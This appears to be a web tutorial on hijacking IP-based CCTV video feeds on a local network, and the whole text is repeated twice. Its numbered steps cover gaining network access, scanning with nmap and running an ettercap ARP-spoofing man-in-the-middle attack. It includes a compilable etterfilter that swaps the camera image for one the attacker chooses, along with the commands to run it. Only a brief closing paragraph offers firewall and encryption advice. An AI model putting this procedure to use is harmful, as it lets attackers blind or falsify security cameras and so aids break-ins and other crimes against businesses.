Manipulating IP
based CCTV Systems.
As you are
probably aware, CCTV networks provide security to businesses around the world.
However due to unsecure networks and poorly designed networks, network security
cameras can be abused and there video streams redirected or modified. I am
going to explain how this can be done, so you can check your network.
1. Connect to the network using wireless or penetrate a machine on lan.
2. Upload nmap and ettercap onto your machine or the machine on lan that you penetrated.
3. Scan the internal network using nmap and look for open ports in this example we will look for cameras.
4. once you find a camera run ettercap and scan the machines and perform mitm.
5. Watch the traffic and look for the ip of the cameras by sniffing the traffic coming through your machine.
6. Look at the tcp.dst and tcp.src of the packets this will tell you the source and destnation packets.
7. Once you find a suitable camera and the client that is watching create an etterfilter, One is provided below
#Example etterfilter
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, “Accept-Encoding”)) {
replace(“Accept-Encoding”, “Accept-Rubbish!”);
# note: replacement string is same length as original string
msg(“zapped Accept-Encoding!\n”);
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace(“img src=”CAMERA PICURE URL HERE”, “img src=”YOUR IMAGE HERE WITH URL HERE” “);
replace(“IMG SRC=”CAMERA PICURE URL HERE”, “img src=”YOUR IMAGE HERE WITH URL HERE” “);
msg(“Filter Ran.\n”);
}
8. Save the file as a filter for example camera.filter
9. Compile that source using ‘etterfilter camera.filter -o camera.ef’
10. Now setup ettercap to use the filter each time the page is viewed across the network ‘ettercap -T -q -F camera.ef -M ARP // //’
11. Now in theory each time the camera is viewed by someone on the network they will see your camera image not the stream.
This attack has been used, and can be devastating to any business that depends on network cameras for security. Some businesses connect network cameras directly to the gateway router, if the gateway is penetrated then this places the cameras at risk.
Wireless networks also can provide attackers with a direct connection to your network once the encryption has been broken. Wireless networks with weak encryption and a lack of network monitoring can aid an attacker in becoming undetected on the network.
I recommend that you install either a hardware firewall that detects spoofing attacks inbetween the network cameras and router/switch, and use network encryption, this should provide a very difficult environment for an attacker.
1. Connect to the network using wireless or penetrate a machine on lan.
2. Upload nmap and ettercap onto your machine or the machine on lan that you penetrated.
3. Scan the internal network using nmap and look for open ports in this example we will look for cameras.
4. once you find a camera run ettercap and scan the machines and perform mitm.
5. Watch the traffic and look for the ip of the cameras by sniffing the traffic coming through your machine.
6. Look at the tcp.dst and tcp.src of the packets this will tell you the source and destnation packets.
7. Once you find a suitable camera and the client that is watching create an etterfilter, One is provided below
#Example etterfilter
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, “Accept-Encoding”)) {
replace(“Accept-Encoding”, “Accept-Rubbish!”);
# note: replacement string is same length as original string
msg(“zapped Accept-Encoding!\n”);
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace(“img src=”CAMERA PICURE URL HERE”, “img src=”YOUR IMAGE HERE WITH URL HERE” “);
replace(“IMG SRC=”CAMERA PICURE URL HERE”, “img src=”YOUR IMAGE HERE WITH URL HERE” “);
msg(“Filter Ran.\n”);
}
8. Save the file as a filter for example camera.filter
9. Compile that source using ‘etterfilter camera.filter -o camera.ef’
10. Now setup ettercap to use the filter each time the page is viewed across the network ‘ettercap -T -q -F camera.ef -M ARP // //’
11. Now in theory each time the camera is viewed by someone on the network they will see your camera image not the stream.
This attack has been used, and can be devastating to any business that depends on network cameras for security. Some businesses connect network cameras directly to the gateway router, if the gateway is penetrated then this places the cameras at risk.
Wireless networks also can provide attackers with a direct connection to your network once the encryption has been broken. Wireless networks with weak encryption and a lack of network monitoring can aid an attacker in becoming undetected on the network.
I recommend that you install either a hardware firewall that detects spoofing attacks inbetween the network cameras and router/switch, and use network encryption, this should provide a very difficult environment for an attacker.